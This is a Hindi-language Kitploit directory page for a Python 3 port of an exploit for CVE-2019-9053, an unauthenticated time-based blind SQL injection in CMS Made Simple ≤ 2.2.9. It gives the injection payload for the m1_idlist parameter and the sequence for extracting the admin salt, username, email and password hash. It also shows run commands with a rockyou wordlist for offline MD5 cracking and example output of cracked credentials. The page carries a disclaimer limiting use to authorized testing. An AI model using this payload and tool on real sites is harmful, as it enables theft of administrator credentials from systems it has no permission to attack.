Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2019-9053-py3 — CMS Made Simple ≤ 2.2.9 के लिए अप्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन शोषण (CVE-2019-9053), Python 3 में पोर्ट किया गया। | Kitploit
उपकरण/GitHubGitHub/vedantrana73/cve-2019-9053-py3
पासवर्ड क्रैकिंगभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubvedantrana73/cve-2019-9053-py3

cve-2019-9053-py3

CMS Made Simple ≤ 2.2.9 के लिए अप्रमाणित समय-आधारित ब्लाइंड SQL इंजेक्शन शोषण (CVE-2019-9053), Python 3 में पोर्ट किया गया।

रिपॉजिटरी देखें
32 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-9053 — CMS Made Simple SQLi एक्सप्लॉइट (Python 3)

Python CVE Type Target License

अस्वीकरण: यह उपकरण केवल अधिकृत पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है। बिना स्पष्ट लिखित अनुमति के सिस्टम के विरुद्ध इसका उपयोग करना अवैध है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता।


अवलोकन

यह CVE-2019-9053 के लिए सार्वजनिक एक्सप्लॉइट का Python 3 पोर्ट है – CMS Made Simple ≤ 2.2.9 में एक बिना प्रमाणीकरण के टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन भेद्यता।

कमजोर पैरामीटर /moduleinterface.php एंडपॉइंट (न्यूज़ मॉड्यूल) पर m1_idlist है। उपयोगकर्ता इनपुट बिना सैनिटाइज़ किए SQL क्वेरी में पास हो जाता है, जिससे एक अप्रमाणित हमलावर एडमिन सॉल्ट, उपयोगकर्ता नाम, ईमेल और पासवर्ड हैश निकाल सकता है – और वैकल्पिक रूप से पासवर्ड ऑफ़लाइन क्रैक कर सकता है।

मूल एक्सप्लॉइट Daniele Scanu @ Certimeter Group द्वारा।
सुधार और सफाई के साथ Python 3 पोर्ट।


यह कैसे काम करता है

एक्सप्लॉइट एक टाइमिंग ओरेकल का उपयोग करता है – यह SQL LIKE शर्त में SELECT sleep(T) इंजेक्ट करता है और HTTP प्रतिक्रिया समय मापता है। यदि सर्वर T सेकंड या अधिक रुकता है, तो इंजेक्ट की गई शर्त सत्य थी। यह HTTP प्रतिक्रिया बॉडी में कोई डेटा दिखाए बिना एक-एक कैरेक्टर डेटा निकालने की अनुमति देता है।

root@kitploit:~
पेलोड संरचना:
  m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
            +where+password+like+0x{hex(known_prefix+guess)}25
            +and+user_id+like+0x31)+--+

निष्कर्षण क्रम:

निष्कर्षण के बाद, वैकल्पिक ऑफ़लाइन डिक्शनरी अटैक एक वर्डलिस्ट के विरुद्ध MD5(salt + word) की गणना करता है – किसी और नेटवर्क अनुरोध की आवश्यकता नहीं।


Python 3 में बदलाव

मूल स्क्रिप्ट Python 2 के लिए लिखी गई थी। निम्नलिखित ब्रेकिंग बदलाव ठीक किए गए:


आवश्यकताएँ

root@kitploit:~
pip3 install requests termcolor
डिपेंडेंसीउद्देश्य
requestsHTTP अनुरोध लक्ष्य तक भेजने के लिए
termcolorरंगीन टर्मिनल आउटपुट के लिए

उपयोग

root@kitploit:~
# मूल निष्कर्षण (पासवर्ड क्रैकिंग के बिना)
python3 exploit.py -u http://<target-ip>/simple

# निष्कर्षण + ऑफ़लाइन पासवर्ड क्रैकिंग
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt

विकल्प

फ़्लैगविवरण
-u, --url

उदाहरण आउटपुट

root@kitploit:~
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123

CVE विवरण


संदर्भ

  • NVD — CVE-2019-9053
  • मूल एक्सप्लॉइट — Exploit-DB #46635
  • CMS Made Simple

कानूनी

यह एक्सप्लॉइट अधिकृत पैठ परीक्षण और CTF/शैक्षिक उपयोग के लिए प्रदान किया गया है।
जिन सिस्टमों के आप मालिक नहीं हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, उनके विरुद्ध अनधिकृत उपयोग IT अधिनियम, 2000 (भारत) और दुनिया भर के समकक्ष कानूनों के तहत एक आपराधिक अपराध है।

टूल डाउनलोड करें
चरणफ़ील्डतालिकानोट्स
1सॉल्टcms_siteprefsपासवर्ड क्रैक करने के लिए आवश्यक
2उपयोगकर्ता नामcms_usersuser_id = 1 (एडमिन)
3ईमेलcms_usersuser_id = 1 (एडमिन)
4पासवर्डcms_usersMD5(salt + password) के रूप में संग्रहीत
#बदलावकारण
1print "..." → print("...")print Python 3 में एक फ़ंक्शन है
2hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode())hashlib.md5() को Python 3 में bytes चाहिए
3dict = open(wordlist) → with open(wordlist) as wordlist_filedict बिल्ट-इन को छाया देता है; कॉन्टेक्स्ट मैनेजर पर स्विच किया
4print "\033c" → print("\033c", end="")टर्मिनल क्लियर पर डबल न्यूलाइन से बचने के लिए
5print colored(...) → print(colored(...))colored() एक स्ट्रिंग लौटाता है; print() रैपर चाहिए
CMS Made Simple इंस्टॉलेशन का बेस URL
-w, --wordlistऑफ़लाइन पासवर्ड क्रैकिंग के लिए वर्डलिस्ट का पथ
-c, --crackपासवर्ड क्रैकिंग मोड सक्षम करें
फ़ील्डमान
CVE IDCVE-2019-9053
CVSS स्कोर7.5 (उच्च)
प्रकारबिना प्रमाणीकरण के टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन
प्रभावितCMS Made Simple ≤ 2.2.9
पैरामीटरन्यूज़ मॉड्यूल में m1_idlist
प्रमाणीकरण आवश्यककोई नहीं
पैचCMS Made Simple 2.2.10+